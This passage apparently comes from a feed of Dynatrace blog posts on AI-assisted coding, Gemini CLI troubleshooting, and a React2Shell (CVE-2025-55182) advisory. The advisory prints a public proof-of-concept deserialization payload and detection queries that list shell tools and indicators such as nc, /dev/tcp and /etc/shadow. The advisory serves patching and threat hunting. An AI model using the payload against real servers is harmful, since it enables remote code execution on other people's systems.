Next: Write tests. I know. You won’t want to. Neither did I. But AI code that “works” can still be deeply wrong. I can’t tell you how many times I’ve seen it confidently try to pass data through functions that don’t even exist.

Perhaps most importantly: Never — and I mean never — let AI near your production database or environment. That’s not a metaphor. Twice, my AI coding partner has seen differences in our ORM and our database schema, and twice I have seen it decide to drop all of the database tables to create something that matches the ORM. Thankfully, it was only the development database, but if it had access to production, it would have dropped those tables too.

I have a rule: Staging is for the robots; production is for adults.

“AI forgets. Teammates inherit.”

This is painfully true. AI forgets everything. Context, logic, variable names. All of it. And when you come back to that project later (or someone else does), there’s no memory of why anything was done the way it was. That’s why documentation still matters. Probably more than ever. Because you’re not just documenting for other people anymore — you’re documenting for yourself when your future self wonders, “Why did past me let the robot do this?”

Observability, or “Please tell me what just happened”

This is where tools like Dynatrace come in. I know, I work there, but I’d say this either way. If you’re going to let AI write your code, you need a way to see what it’s doing. Not just logs — observability. Dynatrace tells me what’s happening across the system: slow API calls, inefficient queries, the occasional “why is this endpoint melting the CPU?” moment. It’s not about catching mistakes — it’s about catching surprises. And AI delivers plenty of those.

“Don’t asume corectness”

The typo’s intentional. Mostly. But the point stands: AI code looks right more often than it is right. I’ve had it produce entire components that look perfect and fail silently. It’s confident. It’s articulate. It’s wrong. So, check everything. Run it. Test it. Review it. Don’t just asume corectness.

The big takeaway

Here’s what surprised me the most: Building with AI doesn’t feel like cheating. It feels like collaborating. You’re still making all the decisions — the AI just types faster than you do. It’s like pairing with someone who’s read every Stack Overflow thread but still can’t quite tell when it’s about to create a security hole.

You’re not outsourcing the work. You’re accelerating it. AI doesn’t replace developers. It amplifies them. The people who’ll thrive in this new era aren’t the fastest typists — they’re the clearest thinkers. They’re the best communicators.

I don’t think “vibe coding” is bad. It’s just unstructured. And once you’ve got a plan — a CLAUDE.md file, a solid process, some observability, and a healthy dose of skepticism — it stops being “vibe coding” and starts being modern engineering.

AI can write code. But you still have to lead.

It’s not vibe coding if you know what you’re doing. It’s just engineering with better tools.

The post Is it vibe coding if you know what you’re doing? appeared first on Dynatrace news.

You know that moment when everything should be working, but it’s just not? Your deployment went smoothly, the pods are running, and yet — errors. Lots of them.

That’s exactly where I found myself recently. The EasyTrade application was throwing fits, and I needed answers fast. What made this debugging session different, however, was the combination of tools at my disposal: Dynatrace intelligent monitoring paired with the raw power of Gemini CLI accessing the Dynatrace MCP server.

The fact that Gemini CLI can communicate directly with Dynatrace through the MCP protocol means I can stay in my flow. I’m not jumping between tools, losing my train of thought, or rebuilding mental context every few minutes. I ask questions in natural language, and Gemini translates that into precise DQL queries against Grail.

Let’s walk through two tales from the terminal: one about an impatient service, and another about a phantom error that taught me patience.

The impatient service that couldn’t wait

When detection meets investigation

I started my day firing up my email and my terminal. Dynatrace flagged the first problem before I’d even finished my coffee. A notification in my inbox let me know the contentcreator service was experiencing a stuck deployment.

Now, here’s where things get interesting. Dynatrace identified what was broken, but I wanted the gritty details and potential solutions. This is where Gemini CLI comes in clutch.

Instead of clicking through UI panels — nothing wrong with that, by the way — I fired up my terminal and started a conversation with Dynatrace via the Gemini CLI. Think of it as having a debugging buddy who speaks fluent Dynatrace Query Language (DQL) and can pull data from Dynatrace Grail® faster than you can say observability.

As you can see, I asked Gemini to tell me more about the problem. The results were crystal clear. Every log entry showed the same error:

"com.microsoft.sqlserver.jdbc.SQLServerException: The TCP/IP connection to the host db, port 1433 has failed. Error: "Connection refused. Verify the connection properties. Make sure that an instance of SQL Server is running on the host and accepting TCP/IP connections at the port. Make sure that TCP connections to the port are not blocked by a firewall."

The race nobody wins

Here’s the thing about microservices: They’re like orchestra musicians warming up. Everyone’s eager to start playing, but if the conductor — in this case, the database — isn’t ready, you get chaos instead of symphony.

The contentcreator service was starting up and immediately trying to connect to the database. However, SQL Server inside the db pod needed a few extra seconds to initialize. Classic startup race condition. The contentcreator service was essentially knocking on a door that hadn’t fully opened yet.

The fix? Kubernetes startup probes. These probes are brilliant; they’re like a bouncer at a club, making sure nobody rushes in before the venue is ready.

Gemini CLI modified the db service deployment manifest to include a readiness probe that would execute a simple SQL query. The container wouldn’t be marked as “running” until it could successfully respond to that query. Simple, elegant, effective.

I went from error to root cause to the recommended solution to fix, all without leaving the terminal.

After applying the updated manifest and restarting the pods, I turned back to Gemini CLI to run the same log query against the fresh manager pod. Just like that, the database connection errors were gone.

The phantom error and the deployment maze

New problem, different beast

Just when I thought I could relax, Dynatrace surfaced another issue. This time, it was the credit-card-order-service showing a failure rate increase. Different service, different problem. Same reliable detection system.

Back to Gemini CLI.

I pulled up a list of current problems. Gemini knew the resource contention issues we were seeing were expected, but Dynatrace flagged something else — a problem with multiple services impacting 98 users. That one needed our attention.

Gemini was able to immediately determine that the issues were caused by a feature flag and recommended we turn that feature flag off and even updated and applied the manifest for us. Easy peasy.

After deploying the updated feature flag, I remained in Gemini CLI to verify the fix. The logs were clean — no more ArithmeticException. Within minutes, Dynatrace had correlated the fix across all affected services and automatically closed the problem. Once again, the whole workflow — from detection, to investigation, to fix, to verification — happened without me leaving my terminal.

A single workflow in a single place

The synergy between Dynatrace and Gemini CLI isn’t just about having two good tools. It’s about having the right tool at the right time in the right place.

Dynatrace excels at the big picture. It detects anomalies, correlates issues across your entire application landscape, and surfaces problems you didn’t even know existed. It’s your early warning system.

Gemini CLI, connected through the Dynatrace MCP server, lets you query Dynatrace without leaving your terminal. Look, the web UI can do all of these same things and then some — dig into logs, build DQL queries, verify fixes, show pretty dashboards. But when you’re already neck-deep in terminal work, staying put is the move. No alt-tabbing. No mental context switching. Just you, your terminal, and your data.

And here’s where it gets even better: Gemini CLI isn’t just passive. It’s agentic. It suggests fixes, modifies manifests, and can even deploy changes on your behalf. You saw this in action with both problems we tackled: Gemini recommended the readiness probe solution and updated the deployment manifest. It identified the feature flag issue and applied the fix.

The takeaway

Both of these troubleshooting sessions taught me something valuable. The startup race condition showed me the importance of proper initialization ordering in Kubernetes.

But the biggest lesson was to trust your tools but understand what they’re doing. When Dynatrace takes a few minutes to close a problem after you’ve verified the fix, it’s not lagging — it’s being thorough. It’s analyzing patterns, checking for recurrence, and making sure you can confidently move on to your next task.

The combination of intelligent monitoring and command-line power creates something greater than the sum of its parts. Dynatrace watches everything, spots the problems, and shows root cause. Gemini CLI lets you investigate and address those problems without breaking your flow. Together, they make troubleshooting feel less like detective work and more like having a conversation with your infrastructure.

And that morning cup of coffee? It actually stayed warm this time.

The post When your service won’t wait: Troubleshooting EasyTrade with Dynatrace MCP and Gemini CLI appeared first on Dynatrace news.

TL;DR:

A critical flaw in React’s Flight protocol (CVE-2025-55182) allows attackers to run code on servers using React Server Components. In short, if your organization uses React Server Components, Next.js, or related frameworks, attackers could potentially take control of your servers, making this a top priority for immediate action.

What’s at risk?

• Vulnerable: React Server Components, Next.js, React Router, Waku, and several related frameworks.
• Impacted: Any organization running affected versions in production.
• Exploits: Proof-of-concept code is publicly available and active scanning is underway.
• Remediation: Upgrade to patched versions now to prevent remote code execution.

Real-world scenario:

Imagine a production server running an unpatched version of Next.js. An attacker sends a crafted payload, triggering remote code execution, and gaining unauthorized access to your infrastructure. The window between disclosure and exploitation is shrinking—don’t wait to act.

Immediate steps:

• Audit your environment for affected frameworks (e.g. leveraging Dynatrace Runtime Vulnerability Analytics).
• Upgrade dependencies to patched versions.
• Use Dynatrace Runtime Vulnerability Analytics to verify remediation.
• Monitor continuously for new threats.

What is React2Shell (CVE-2025-55182)?

A critical vulnerability called React2Shell has been discovered in React’s Flight protocol that could allow attackers to execute arbitrary code on servers running React Server Components. CVE-2025-55182 affects multiple popular frameworks, including Next.js, React Router, and Waku, with exploitation possible under default configurations. While no verified public exploits exist yet, the severity and widespread nature of this vulnerability make immediate patching essential. Organizations using React Server Components should prioritize upgrading to patched versions to protect their applications from potential remote code execution attacks.

How to fix React2Shell vulnerability (CVE-2025-55182): patching guide

To address this vulnerability, it is recommended to upgrade to the patched versions of the affected packages.

Upgrade react-server-dom-* packages to one of the following versions, or higher:

• 19.0.1
• 19.1.2
• 19.2.1

Upgrade Next.js to one of the following versions, or higher:

• 15.0.5
• 15.1.9
• 15.2.6
• 15.3.6
• 15.4.8
• 15.5.7
• 16.0.7

Technical details of the React2Shell vulnerability

CVE-2025-55182 is an unsafe deserialization vulnerability in React’s Flight protocol, affecting server component payloads. This flaw allows attackers to craft malicious payloads that, when processed by the server, can lead to unauthenticated remote code execution. Exploitation is possible under the default configuration of several popular frameworks, making the vulnerability critical and widely exploitable.

Which React and Next.js versions are vulnerable?

The following packages are vulnerable to CVE-2025-55182 because they implement parts of React’s Flight protocol, which handles server component payloads and is the source of the unsafe deserialization flaw:

Frameworks that implement React Server Components and rely on these packages are also affected. These include: Next.js, React Router, Waku, @parcel/rsc, @vitejs/plugin-rsc, and rwsdk.

The react and react-dom libraries are not impacted because they do not include the Flight protocol or any server-side component handling. Environments that render React exclusively on the client, or that do not integrate frameworks, bundlers, or plugins supporting React Server Components, remain outside the scope of this vulnerability.

The related vulnerability, CVE-2025-66478, was initially published for Next.js and marked as critical. It was later rejected and classified as a duplicate of CVE-2025-55182, because the root cause lies in Next.js depending on vulnerable React packages that implement the Flight protocol.

While the dependency link is correct, Next.js does not rely on the npm ecosystem to resolve these React Server Component packages. Instead, Next.js includes compiled versions of the react-server-dom-* packages directly in its repository. This means that upgrading React in isolation will not remediate the vulnerability for Next.js users because the vulnerable code is embedded within Next.js itself.

The following Next.js versions are affected:

What are the related RSC vulnerabilities?

On December 11, 2025, two additional vulnerabilities were discovered in React Server Components, affecting the react-server-dom-* and Next.js packages:

• Denial of Service – High Severity: CVE-2025-55184 and CVE-2025-67779
• Source Code Exposure – Medium Severity: CVE-2025-55183

For the Denial of Service vulnerability, there are two CVE numbers due to an incomplete fix for the first CVE.

We recommend updating the affected packages to the latest patch version, as outlined below:

Are there working exploits for React2Shell vulnerability?

Proof-of-concept exploits for React2Shell (CVE-2025-55182) have been developed and made publicly available. The vulnerability has also been added to the CISA Known Exploited Vulnerabilities (KEV) catalog, confirming active exploitation. Additionally, the vulnerability reporter has published several exploit variants on GitHub:

lachlan2k/React2Shell-CVE-2025-55182-original-poc.

const payload = { 
    '0': '$1', 
    '1': { 
        'status':'resolved_model', 
        'reason':0, 
        '_response':'$4', 
        'value':'{"then":"$3:map","0":{"then":"$B3"},"length":1}', 
        'then':'$2:then' 
    }, 
    '2': '$@3', 
    '3': [], 
    '4': { 
        '_prefix':'console.log(7*7+1)//', 
        '_formData':{ 
            'get':'$3:constructor:constructor' 
        }, 
        '_chunks':'$2:_response:_chunks', 
    } 
} 
  

The root cause of this vulnerability lies in how React’s Flight protocol processes incoming data. The data is processed as chunks, as seen above, which can reference each other, denoted by the $ symbols. The exploit takes advantage of this behavior along with a bug caused by missing attribute checks, which allows access to properties such as constructor. The fix for the attribute check can be seen in the patch here.

The crafted payload chains internal gadgets to create a Promise-like object with an attacker-controlled “.then” property. During deserialization, these Promise-like objects are automatically resolved, which results in code execution.

The vulnerability is actively being scanned in the wild, significantly increasing the risk for organizations running vulnerable versions of affected packages. Given the critical nature of React2Shell and the existence of working exploits, immediate remediation is strongly advised.

Detecting React2Shell (CVE-2025-55182) with Runtime Vulnerability Analytics

You can use Dynatrace Runtime Vulnerability Analytics to detect if vulnerable React Server Component packages or Next.js packages are present by filtering for CVE-2025-55182 in the app.

Bottom Line: If you’re running React Server Components or Next.js in production, review your dependencies immediately and upgrade to patched versions.

Searching for React2Shell vulnerable components (CVE-2025-55182) with DQL

You can also use Smartscape to manually search for vulnerable software components.

fetch dt.entity.software_component
  | fieldsAdd vulnerable =  if(in(entity.name, {
      "react-server-dom-parcel:19.0",
      "react-server-dom-parcel:19.1.0",
      "react-server-dom-parcel:19.1.1",
      "react-server-dom-parcel:19.2.0",
      "react-server-dom-webpack:19.0",
      "react-server-dom-webpack:19.1.0",
      "react-server-dom-webpack:19.1.1",
      "react-server-dom-webpack:19.2.0",
      "react-server-dom-turbopack:19.0",
      "react-server-dom-turbopack:19.1.0",
      "react-server-dom-turbopack:19.1.1",
      "react-server-dom-turbopack:19.2.0"
      }), true)

  // Make sure to check if the found next version is vulnerable   
  | fieldsAdd potentially_vulnerable = 
      startsWith(entity.name, "next:14.3.0") or
      startsWith(entity.name, "next:15") or
      startsWith(entity.name, "next:16")
 
  | filter
      vulnerable == true or
      potentially_vulnerable == true

Important note: When using this manual search method (as opposed to Runtime Vulnerability Analytics), you’ll need to:

• Manually and reactively search for affected versions whenever an incident occurs
• Work without the additional context and guidance that RVA provides, such as:
  • Davis Security Score
  • Public internet exposure analysis
  • Exploit availability information

How to detect React2Shell (CVE-2025-55182) exploitation activity

If you have logs containing process execution events, you can detect the common attack patterns (tactics, techniques, and procedures or TTPs) that adversaries use when exploiting vulnerabilities like CVE-2025-55182.

The Dynatrace platform can ingest data from any source that provides this information. The following example (with an alternate for Windows systems) uses Tetragon as the data source. By combining these logs with Smartscape attributes, you get full context for detecting exploitation activity—which helps reduce false positives and speeds up investigations.

// Adjust timeframe accordingly
fetch logs, 
  from: -14d,
  scanLimitGBytes: -1

// We use Tetragon as an example, any source for process execution could be used
| filter log.source == "Container Output"
| filter k8s.workload.name == "tetragon"
| parse content, "JSON:content"

// Filter on process start events
| filter isNotNull(content[process_exec])

// Add fields for further processing
| fieldsAdd k8s.pod.uid = content[process_exec][process][pod][uid]
| fieldsAdd process.parent.executable.path = content[process_exec][parent][binary]
| fieldsAdd process.parent.executable.name = splitString(process.parent.executable.path, "/")[-1]
| fieldsAdd process.executable.path = content[process_exec][process][binary]
| fieldsAdd process.executable.name = splitString(process.executable.path, "/")[-1]
| fieldsAdd process.cmd_line = concat(process.executable.path, " ", content[process_exec][process][arguments])
| fieldsRemove k8s.deployment.name

// Filter on node instances
| filter in(lower(process.parent.executable.name), {
    "node",
    "bun"
  })

// Filter for common shell processes
| filter in(lower(process.executable.name), {
    "ash",
    "bash",
    "bash-static",
    "busybox",
    "csh",
    "dash",
    "fish",
    "ksh",
    "lksh",
    "mksh",
    "mksh-static",
    "posh",
    "rksh",
    "rksh93",
    "sash",
    "static-sh",
    "sh",
    "tcsh",
    "yash",
    "zsh" 
  }) and iAny(contains(lower(process.cmd_line), array(
    "cat",
    "curl",
    "dig",
    "env",
    "head",
    "hostid",
    "hostname",
    "id",
    "ifconfig",
    "ip",
    "install",
    "less",
    "mkfifo",
    "more",
    "nc",
    "ncat",
    "netcat",
    "netstat",
    "nslookup",
    "perl",
    "ping",
    "pwd",
    "route",
    "socat",
    "shred",
    "ss",
    "stat",
    "tail",
    "tee",
    "uname",
    "wget",
    "who",
    "whoami",
    "/dev/tcp",
    "/dev/udp",
    "/etc/passwd",
    "/etc/shadow"
  )[], caseSensitive: false)) or in(lower(process.executable.name), {
    "cat",
    "curl",
    "dig",
    "env",
    "head",
    "hostid",
    "hostname",
    "id",
    "ifconfig",
    "ip",
    "install",
    "less",
    "mkfifo",
    "more",
    "nc",
    "ncat",
    "netcat",
    "netstat",
    "nslookup",
    "perl",
    "ping",
    "pwd",
    "route",
    "socat",
    "shred",
    "ss",
    "stat",
    "tail",
    "tee",
    "uname",
    "wget",
    "who",
    "whoami"
  })

// Get smartscape data for affected entity
| join [
    smartscapeNodes "K8S_POD"
],
on: { k8s.pod.uid },
kind: leftOuter,
fields: {
  k8s.node.name,
  k8s.namespace.name,
  k8s.workload.name,
  k8s.workload.kind,
  k8s.pod.name,
  id_classic
}

fetch logs
| filter winlog.eventid == "1"
| parse content, """
    LD CR LF
    'RuleName: 'LD:RuleName CR LF
    'UtcTime: 'LD:UtcTime CR LF
    'ProcessGuid:' LD:ProcessId CR LF
    'ProcessId: 'LD:PorcessId CR LF
    'Image: 'LD:Image CR LF
    'FileVersion: 'LD:FileVersion CR LF
    'Description: 'LD:Description CR LF
    'Product: ' LD:Product CR LF
    'Company: ' LD:Company CR LF
    'OriginalFileName: ' LD:OriginalFileName CR LF
    'CommandLine: ' LD:CommandLine CR LF
    'CurrentDirectory: ' LD:CurrentDirectory CR LF
    'User: ' LD:User CR LF
    'LogonGuid: ' LD:LogonGuid CR LF
    'LogonId: ' LD:LoginId CR LF
    'TerminalSessionId: ' LD:TerminalSessionId CR LF
    'IntegrityLevel: ' LD:IntegrityLevel CR LF
    'Hashes: ' LD:Hashes CR LF
    'ParentProcessGuid: ' LD:ParentProcessGuid CR LF
    'ParentProcessId: ' LD:ParentProcessId CR LF
    'ParentImage: ' LD:ParentImage CR LF
    'ParentCommandLine: ' LD:ParentCommandLine CR LF
    'ParentUser: ' LD:ParentUser
    """

| filter iAny(endsWith(ParentImage, array(
    "node.exe",
    "bun.exe")[], caseSensitive: false))
| filter iAny(contains(CommandLine, array(
    "-enc",
    "-EncodedCommand",
    "-w hidden",
    "-windowstyle hidden",
    "Test-NetConnection"
  )[], caseSensitive: false)) or in(lower(OriginalFileName), {
    "cmd.exe",
    "powershell.exe",
    "pwsh.exe",
    "arp.exe",
    "at.exe",
    "bash.exe",
    "bitsadmin.exe",
    "certutil.exe",
    "csript.exe",
    "dsget.exe",
    "dsquery.exe",
    "find.exe",
    "findstr.exe",
    "hostname.exe",
    "ipconfig.exe",
    "nbtstat.exe",
    "net.exe",
    "net1.exe",
    "netsh.exe",
    "netstat.exe",
    "nslookup.exe",
    "ntdsutil.exe",
    "reg.exe",
    "rundll32.exe",
    "sc.exe",
    "schtasks.exe",
    "systeminfo.exe",
    "tasklist.exe",
    "tracert.exe",
    "ver.exe",
    "wevtutil.exe",
    "whoami.exe",
    "wmic.exe",
    "wscript.exe"
  })

How to detect suspicious React2Shell (CVE-2025-55182) requests

Most React2Shell exploits work by sending special HTTP headers. 

• In Next.js apps, this header is next-action. 

• In other apps, it may be rsc-action-id. 

Some public exploit PoCs also exfiltrate data using query parameters during redirects. In Next.js, these values appear in the x-action-redirect response header. 

Capturing these headers with Dynatrace OneAgent

Dynatrace OneAgent can record these headers as custom request attributes. For setup and configuration instructions, go to Capture request attributes based on web request data.

Use the following settings: 

1. For next-action or rsc-action-id 
   1. Data source: HTTP request header 
   2. Capture on: Server side 
2. For x-action-redirect 
   1. Data source: HTTP response header 

We recommend setting multi-value capture to “All distinct values.” 

If real-time updates are disabled in Dynatrace, make sure to restart all affected processes so the changes can take effect. 

Capturing headers with OpenTelemetry

If you’re using OpenTelemetry instead of OneAgent, you can also capture the same request and response headers. (See: https://opentelemetry.io/docs/zero-code/java/agent/instrumentation/http/) 

Detect suspicious requests using DQL

In both cases, you can use the following DQL queries to fetch all the requests that use one of the relevant headers. 

fetch spans

// Filter for relevant spans coming from a nodejs agent or via OpenTelemetry,
// which are a server span for a POST request
| filter (dt.openpipeline.source == "oneagent" AND dt.agent.module.type == "nodejs") OR
    dt.openpipeline.source == "/api/v2/otlp/v1/traces"
| filter span.kind == "server"
| filter http.request.method == "POST"

// update the values on the right hand side to use the name of the request attribute configured
| fieldsRename request_attribute.next_action_header = `request_attribute.next-action header`
| fieldsRename request_attribute.rsc_action_id_header = `request_attribute.rsc-action-id header`
| fieldsRename request_attribute.x_action_redirect_header = `request_attribute.x-action-redirect header`

// Collect all spans with one of the relevant headers set
| filter
    isNotNull(`http.request.header.next-action`) OR
    isNotNull(request_attribute.next_action_header) OR
    isNotNull(`http.request.header.rsc-action-id`) OR
    isNotNull(request_attribute.rsc_action_id_header)

// Collect all unique action IDs from each request into a single field
| fieldsAdd action_id = arrayDistinct(
    arrayRemoveNulls(
      arrayConcat(
        array(
          `http.request.header.next-action`,
          `http.request.header.rsc-action-id`
        ),
        arrayFlatten(array(request_attribute.next_action_header)),
        arrayFlatten(array(request_attribute.rsc_action_id_header))
      )
    )
  )
| expand action_id

// Collect action redirect response header values
| fieldsAdd action_redirect = arrayDistinct(
    arrayRemoveNulls(
      arrayConcat(
        array(`http.response.header.x-action-redirect`),
        arrayFlatten(array(request_attribute.x_action_redirect_header))
      )
    )
  )

// Count usage for each action ID per process group
| summarize {
    count = count(),
    actor.ips = arrayDistinct(arrayRemoveNulls(collectDistinct(client.ip))),
    traces = collectDistinct(trace.id),
    action_redirects = arrayDistinct(arrayRemoveNulls(arrayFlatten(collectDistinct(action_redirect))))
  },
  by: {
    action_id,
    dt.entity.process_group
  }

| fieldsAdd dt.process_group.name = entityName(dt.entity.process_group)

Review the results for requests that use suspicious action IDs. Many public exploit PoCs set the next-action header to a static value, such as “x”.

You can also review the x-action-redirect header values for suspicious values.

Detecting Crypto Miners After React2Shell Exploitation

Attackers exploiting the React2Shell vulnerability commonly deploy cryptocurrency miners on compromised systems. These miners consume significant CPU resources, meaning an affected application or service will often show abnormally high CPU usage shortly after exploitation. 

To proactively hunt for this activity, you can correlate observability data (such as CPU metrics) with vulnerability data in a single DQL query. This approach helps identify workloads that are both: 

1. Vulnerable to React2Shell, and 
2. Exhibiting sudden or sustained CPU spikes consistent with crypto-mining behavior. 

Below is an example query pattern you can use. Adjust the metrics, thresholds, and entity types to fit your environment and detection strategy. 

timeseries sum(dt.kubernetes.container.cpu_usage, default: 0, rollup: sum, rate: 1m), nonempty: true, by:{dt.entity.container_group_instance}

| join [
    fetch dt.entity.software_component
      | fieldsAdd vulnerable =  if(in(entity.name, {
          "react-server-dom-parcel:19.0",
          "react-server-dom-parcel:19.1.0",
          "react-server-dom-parcel:19.1.1",
          "react-server-dom-parcel:19.2.0",
          "react-server-dom-webpack:19.0",
          "react-server-dom-webpack:19.1.0",
          "react-server-dom-webpack:19.1.1",
          "react-server-dom-webpack:19.2.0",
          "react-server-dom-turbopack:19.0",
          "react-server-dom-turbopack:19.1.0",
          "react-server-dom-turbopack:19.1.1",
          "react-server-dom-turbopack:19.2.0"
          }), true)
    
    // Make sure to check if the found next version is vulnerable   
    | fieldsAdd potentially_vulnerable = 
        startsWith(entity.name, "next:14.3.0") or
        startsWith(entity.name, "next:15") or
        startsWith(entity.name, "next:16")
    
    | filter
        vulnerable == true or
        potentially_vulnerable == true
    
    | fieldsAdd dt.entity.process_group_instance = belongs_to[dt.entity.process_group_instance]
    | expand dt.entity.process_group_instance

    | join [
       fetch dt.entity.process_group_instance
      | fieldsAdd dt.entity.container_group_instance = belongs_to[dt.entity.container_group_instance]   
    ],
    on: { left[dt.entity.process_group_instance] == right[id]},
    fields: { dt.entity.container_group_instance }
], 
on: { dt.entity.container_group_instance }

Take action now

CVE-2025-55182 poses a critical threat to organizations using React Server Components in production, as public exploits are already available and actively being used.

Here’s what you should do immediately:

1. Audit your environment. Identify all applications using React Server Components, Next.js, or related frameworks.
2. Upgrade dependencies. Apply the patched versions listed in the mitigation section above.
3. Verify remediation. Use Dynatrace Runtime Vulnerability Analytics or similar tools to confirm vulnerable packages have been eliminated.
4. Monitor continuously. Implement ongoing vulnerability scanning to catch issues before they become incidents.

The combination of critical severity, default exploitability, and widespread framework adoption makes this vulnerability a top priority for security and development teams. Take action today to protect your applications and infrastructure.

The post CVE-2025-55182: React2Shell Critical Vulnerability — what it is and what to do appeared first on Dynatrace news.

Observability isn’t just about collecting data. It’s about connecting the dots across your stack to answer why something is broken, not just what is broken. For developers, this means the ability to ask ad-hoc questions about live systems and get answers fast enough to change code with confidence.

Modern observability tools can help you catch issues before they become incidents, validate deployments, and understand how your code behaves in the real world. This excerpt from our new Developer’s Guide to Observability, walks you through how to build an observability workflow that works for you, not against you.

Bring observability directly into your IDE

Modern integrations—like the Dynatrace Live Debugger for VS Code and JetBrains IDEs—make it possible to inspect live workloads, trace requests, and debug production issues without leaving your editor.

Here’s what a good IDE integration should let you do:

• Live debugging breakpoints: You can set breakpoints in your code that apply to running instances in selected environments. These are non-breaking and won’t interrupt runtime behavior.
• Environment filtering: You choose which environments and instances to debug, so you’re not overwhelmed by irrelevant data.
• Snapshots: You should be able to view snapshots displaying:
  • Local variables
  • Stack traces
  • Process metadata
  • Tracing data
• Debug without redeploys: Get instant access to code-level debug data in production so you can pinpoint issues faster, avoid service disruption, skip redeployments, and eliminate the need to recreate costly defect environments.
• Bring agentic AI into your IDE: Use MCP to integrate your observability platform’s AI capabilities into your AI coding agent to get immediate performance and security insights about your code base without ever leaving your IDE.

Build a launchpad that works for your team

Start by creating a simple, centralized view that gives you quick access to the tools and data you use most. This could be a dashboard in your internal developer portal, a pinned tab in your IDE, or even a custom homepage in your observability platform.

Include links to:

• Your service’s health and performance metrics
• Logs and traces for recent deployments
• CI/CD status
• Source code and issue tracking

Why it matters: You shouldn’t have to dig through menus or memorize URLs to find what you need. A personalized launchpad saves time and keeps you focused.

Surface observability in your service catalog

If your team uses an internal developer portal like Backstage, Port, or Humanitec, make sure observability data is embedded directly into the service catalog. When you look up a component, you should see:

• Where it’s deployed
• Whether it’s healthy
• Any recent problems or vulnerabilities

For example, for Kubernetes-based services, observability should surface deployment status, pod health, and cluster-level metrics directly in the catalog view.

Why it matters: You already use the catalog to find ownership and repo links—why not also see how the service is performing? To learn more, checkout our Backstage spotlight.

Automate validations in CI/CD

Every time you deploy, your pipeline should automatically verify that your service meets basic observability standards. Are logs and traces being captured? Are synthetic tests passing? Are performance thresholds being met?

Set up automated validation checks such as Quality Gates that run on every code check-in, flagging issues before they reach production. This will provide a continuous feedback loop on the health of your platform. Just remember: The value of that loop depends on the quality of the checks you put into it.

Why it matters: You don’t want to find out after the fact that your service shipped without telemetry or broke a key performance metric.

Surface observability in pull requests

When you open a pull request, you should get feedback not just on code quality, but on how the change affects your service’s behavior. Did it introduce a regression? Did it break a test? Did it exceed latency thresholds?

Integrate observability validations or automated feedback directly into your Git workflow.

Why it matters: You spend a lot of time in PRs—this is the perfect place to catch issues before they merge. Learn more about SDLC Observability.

The post How to build workflows that catch bugs early and keep code moving appeared first on Dynatrace news.

Amazon Bedrock provides enterprises with fully managed access to leading foundation models through a single API, eliminating the complexity of managing underlying AI infrastructure. This simplicity accelerates innovation but also prompts enterprises to consider how best to govern and secure access to Amazon Bedrock as they’re using it at scale.

Without a secure AI gateway in place, organizations can quickly face challenges such as:

• Uncontrolled access and data exposure: Without integrated authentication and authorization, anyone with credentials can invoke models or send sensitive data without oversight.
• Compliance and audit gaps: Without consistent tracking and isolation, it’s difficult to demonstrate adherence to internal policies or regulatory requirements.
• Operational fragility: Developers must manage credentials and request signing manually, adding complexity and security risk.

These are the same challenges Dynatrace encountered while scaling its own generative AI workloads. In response, our engineering teams developed a secure AI gateway for Amazon Bedrock, which has proven effective in serving our global user base. We’re now sharing a reusable reference architecture for the AI gateway in close collaboration with our partners at AWS.

Enterprise-grade governance for real-world use cases

The Secure AI Gateway extends Amazon Bedrock with enterprise-grade governance and control. Built on Amazon API Gateway, the solution integrates seamlessly into existing enterprise environments and provides:

• Strong authentication and authorization through integration with corporate identity systems.
• Usage quotas and throttling to manage cost and ensure fair resource distribution.
• Multi-tenant support and tenant isolation with detailed usage tracking for security, auditability, and compliance.
• Zero-code compatibility with Bedrock features: Once the AI Gateway is deployed, all existing Bedrock capabilities remain available without any integration code changes.

Proven within Dynatrace’s own platform, this reference pattern provides enterprises with a practical path to securely operationalize Bedrock, maintaining the speed and flexibility developers expect while introducing the control and transparency that enterprise governance demands.

Find all the details and the full technical walkthrough here: AWS: Building a Secure AI Gateway to Amazon Bedrock.

AI Observability for continuous insights after deployment

Securing access is only the first step; ensuring everything continues to work as intended is the next. With Dynatrace observability for Bedrock-based workloads, your teams gain continuous insight into performance, reliability, and cost, verifying that governance controls remain effective and that AI workloads perform as expected.

You can read more about our solution here: Deliver secure, safe, and trustworthy GenAI applications with Amazon Bedrock and Dynatrace.

The post AWS publishes Dynatrace-developed blueprint for secure Amazon Bedrock access at scale appeared first on Dynatrace news.

Anomalies are clues that something in your system isn’t behaving as expected. Detecting these early warnings gives SREs and developers a critical window to investigate and resolve the issue before they impact customer experience. But detection alone isn’t enough. You need to identify the root cause so teams can take action before a minor glitch cascades into something more serious that impacts revenue and customer experience.

Dynatrace automatically connects synthetic monitoring, traces, and logs, so you can go from spotting an anomaly to uncovering the exact root cause in under a minute. Without a unified solution, you’d have to sift through logs spread across different systems, which is not only time consuming but can also result in human error. With Dynatrace, you can drill down to the failed test execution and then jump directly into distributed trace and related logs to expose the precise error in code. Instead of just showing data, Dynatrace delivers answers fast.

Let’s take a look at how this works in practice by walking through an example.

From error to answer in a few steps

The Dynatrace platform was built to solve complex challenges, whether they originate in the frontend, backend, or database. Modern applications are distributed systems, where a single user action can trigger a chain of events across dozens of services. To understand this chain, you need to link the beginning (the user’s action) to every subsequent step. Synthetic monitoring and distributed traces are powerful capabilities that provide visibility into this complex chain, but only when automatically connected do they deliver easy insight into end-to-end performance and user experience.

Now, let’s walk through this process step-by-step.

1. Spot the anomaly on the dashboard

Our journey begins on the ready-made synthetic monitoring dashboard. This high-level overview aggregates results from all monitors and locations, making it easy to spot issues—like a sudden spike in HTTP 500 errors in our travel booking system. Each of these errors could negatively impact user experience, so we want to get to the bottom of this quickly before we see a major degradation of service that could lead to lost revenue or brand reputation damage.

A single click on the problematic metric begins the investigation.

2. Isolate the failing monitor

With the context of time and error type carried over, you’re directed to a filtered list of all synthetic monitors that experienced a 500 error in that timeframe. Here, we can instantly see that the Easytravel storeBooking monitor has a low availability of 77.78% and has registered five failed requests.

Clicking “Analyze errors” allows us to drill down further.

3. Analyze the failed execution

This page presents a list of individual test executions over time. On this timeline, you can instantly identify the specific failed run (marked in red) and move from a general problem to a concrete instance of failure. Selecting the failed execution and clicking “View traces” is the final step in our investigation.

4. Uncover the root cause with distributed tracing

With one more click, you’re taken across the automated bridge to the Distributed Tracing Explorer. Dynatrace automatically carries over all the context, showing you the exact end-to-end trace for that specific failure.

